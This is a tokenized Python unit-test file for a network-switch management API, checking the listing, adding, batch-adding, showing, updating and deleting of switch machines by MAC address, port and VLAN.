"self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "ip", "'_", "]_", ",_", "'", "10.1", "72.", "20.", "9", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Switch", "Machine", "s_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "Machine", "s_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Switch", "Machine", "s_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "2", "/", "machine", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datas_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "2", "8", ":", "6e", ":", "d4", ":", "4", "6", ":", "c4", ":", "25", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vlan", "s", "'_", ":_", "[_", "88_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "00", ":", "0c", ":", "2", "9", ":", "bf", ":", "eb", ":", "1d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vlan", "s", "'_", ":_", "[_", "1_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "data_", "in_", "datas_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "Machine", "s_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Switch", "Machine", "s_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "Machine", "s_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "switch", "\\u", "machines_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "list", " ", "switch", " ", "machine", "s", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "/", "2", "/", "machine", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "len_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "count_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "switch", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "9", "9", "/", "machine", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "Machine", "s_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "switch", "\\u", "machine_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "switch", " ", "machine", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "/", "2", "/", "machine", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "00", ":", "0c", ":", "2", "9", ":", "5b", ":", "ee", ":", "eb", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vlan", "s", "'_", ":_", "[_", "10_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "mac", "'_", "]_", ",_", "'", "00", ":", "0c", ":", "2", "9", ":", "5b", ":", "ee", ":", "eb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "dul", "icat", "ed", " ", "switch", " ", "machine_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "2", "/", "machine", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "2", "8", ":", "6e", ":", "d4", ":", "4", "6", ":", "c4", ":", "25", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vlan", "s", "'_", ":_", "[_", "88_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "409_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "invalid", " ", "switch", " ", "machine_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "s", "/", "witch", "ede", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "xxx", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "Machine", "s_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "switch", "\\u", "machines_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "batch", " ", "switch", " ", "machines_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "machine", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "[_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "switch", "\\u", "ip", "\"_", ":_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "mac", "\"_", ":_", "\"", "1a", ":", "2b", ":", "3c", ":", "4d", ":", "5e", ":", "6f", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "port", "\"_", ":_", "\"", "100", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "switch", "\\u", "ip", "\"_", ":_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "mac", "\"_", ":_", "\"", "a1", ":", "b2", ":", "c3", ":", "d4", ":", "e5", ":", "f6", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "port", "\"_", ":_", "\"", "101", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "switch", "\\u", "ip", "\"_", ":_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "mac", "\"_", ":_", "\"", "a1", ":", "b2", ":", "c3", ":", "d4", ":", "e5", ":", "f6", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "port", "\"_", ":_", "\"", "101", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "switch", "\\u", "ip", "\"_", ":_", "\"", "0.", "0.", "0.", "0", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "mac", "\"_", ":_", "\"", "a1", ":", "b2", ":", "c3", ":", "d4", ":", "e5", ":", "f6", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "port", "\"_", ":_", "\"", "102", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "switch", "\\u", "ip", "\"_", ":_", "\"", "10.1", "0.10", ".1", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "mac", "\"_", ":_", "\"", "b1", ":", "b2", ":", "c3", ":", "d4", ":", "e5", ":", "f6", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "port", "\"_", ":_", "\"", "200", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "switch", "\\u", "ip", "\"_", ":_", "\"", "127", ".0", ".0", ".2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "mac", "\"_", ":_", "\"", "a1", ":", "b2", ":", "f3", ":", "d4", ":", "e5", ":", "f6", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "port", "\"_", ":_", "\"", "100", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "[_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "switch", "\\u", "ip", "'_", ":_", "'", "0.", "0.", "0.", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "100", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "1a", ":", "2b", ":", "3c", ":", "4d", ":", "5e", ":", "6f", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "switch", "\\u", "ip", "'_", ":_", "'", "0.", "0.", "0.", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "101", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "a1", ":", "b2", ":", "c3", ":", "d4", ":", "e5", ":", "f6", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "switch", "\\u", "ip", "'_", ":_", "'", "10.1", "0.10", ".1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "200", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "b1", ":", "b2", ":", "c3", ":", "d4", ":", "e5", ":", "f6", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expect", "\\u", "duplicate_", "=_", "[_", "{_", "'", "mac", "'_", ":_", "'", "a1", ":", "b2", ":", "c3", ":", "d4", ":", "e5", ":", "f6", "'_", ",_", "'", "port", "'_", ":_", "'", "101", "'_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expect", "\\u", "failed_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "mac", "'_", ":_", "'", "a1", ":", "b2", ":", "f3", ":", "d4", ":", "e5", ":", "f6", "'_", ",_", "'", "port", "'_", ":_", "'", "100", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "mac", "'_", ":_", "'", "a1", ":", "b2", ":", "c3", ":", "d4", ":", "e5", ":", "f6", "'_", ",_", "'", "port", "'_", ":_", "'", "102", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "\\u", "du_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "\\u", "fail_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "resp_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "k_", "==_", "'", "switche", "s", "\\u", "machine", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "item_", "in_", "v_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "res_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "k_", "==_", "'", "duplicat", "e\\u", "switche", "s", "\\u", "machine", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "item_", "in_", "v_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "res", "\\u", "du_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "k_", "==_", "'", "fail", "\\u", "switche", "s", "\\u", "machine", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "item_", "in_", "v_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "res", "\\u", "fail_", "._", "append_", "(_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "res_", ")_", ",_", "len_", "(_", "expected_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "v_", "in_", "enumerate_", "(_", "res_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Dict", "Contain", "s", "Subset", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "[_", "i_", "]_", ",_", "res_", "[_", "i_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "res", "\\u", "fail_", ")_", ",_", "len_", "(_", "expect", "\\u", "failed_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "v_", "in_", "enumerate_", "(_", "res", "\\u", "fail_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Dict", "Contain", "s", "Subset", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expect", "\\u", "failed_", "[_", "i_", "]_", ",_", "res", "\\u", "fail_", "[_", "i_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "res", "\\u", "du_", ")_", ",_", "len_", "(_", "expect", "\\u", "duplicate_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "v_", "in_", "enumerate_", "(_", "res", "\\u", "du_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Dict", "Contain", "s", "Subset", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "expect", "\\u", "duplicate_", "[_", "i_", "]_", ",_", "res", "\\u", "du_", "[_", "i_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "Machine", "s_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "show", "\\u", "switch", "\\u", "machine_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "show", " ", "a", " ", "switch", "\\u", "machine", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "/", "2", "/", "machine", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "mac", "'_", "]_", ",_", "'", "2", "8", ":", "6e", ":", "d4", ":", "4", "6", ":", "c4", ":", "25", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "switch", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "9", "9", "/", "machine", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "Machine", "s_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "switch", "\\u", "machine_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "update", " ", "a", " ", "switch", "\\u", "machine", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "/", "2", "/", "machine", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "100", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "port", "'_", "]_", ",_", "'", "100", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "switch", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "9", "9", "/", "machine", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "9", "9", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "wrong", " ", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "2", "/", "machine", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "00", ":", "0c", ":", "2", "9", ":", "a5", ":", "f2", ":", "05", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "are", " ", "not", " ", "support", "ed", "'_", ",_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Switch", "Machine", "s_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "switch", "\\u", "machine_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delete", " ", "a", " ", "switch", "\\u", "machine", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "switche", "s", "/", "2", "/", "machine", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Meta", "data", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "metadata", " ", "api", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Meta", "data", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", 